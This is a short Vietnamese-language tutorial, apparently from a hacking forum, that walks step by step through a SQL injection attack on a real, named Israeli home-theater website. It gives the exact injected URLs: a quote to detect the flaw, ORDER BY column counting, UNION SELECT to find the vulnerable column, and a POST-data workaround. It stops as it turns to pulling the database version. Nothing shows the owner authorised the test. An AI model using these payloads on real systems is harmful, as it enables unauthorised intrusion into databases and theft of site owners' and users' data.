Bước 1: Check lỗi
http://www.hometheater.co.il/modules.php?name=Sale&op=ViewCatg&id_catg=206'
Giao diện website có thay đổi. Chứng tỏ site bị lỗi.
Bước 2: Tìm số trường cột
http://www.hometheater.co.il/modules.php?name=Sale&op=ViewCatg&id_catg=206 order by 2-- -
Giao diện website vẫn bình thường
http://www.hometheater.co.il/modules.php?name=Sale&op=ViewCatg&id_catg=206 order by 3-- -
Giao diện website thay đổi
Số trường cột cần tìm là 2
Bước 3: Xác định vị trí trường cột bị lỗi
http://www.hometheater.co.il/modules.php?name=Sale&op=ViewCatg&id_catg=206 and 0 UNION SELECT 1,2-- -
Không tìm thấy cột lỗi
Sau khi thử mọi cách bypass mà vẫn chưa tìm ra kết quả nên mình chuyển qua phương pháp Post data bằng cách đem: id_catg=206 and 0 UNION SELECT 1,2-- - xuống như trong hình:
Sau đó nhấn chữ Execute thì chúng ta sẽ có kết quả
Lỗi cột 1
Tiếp theo chúng ta tìm version
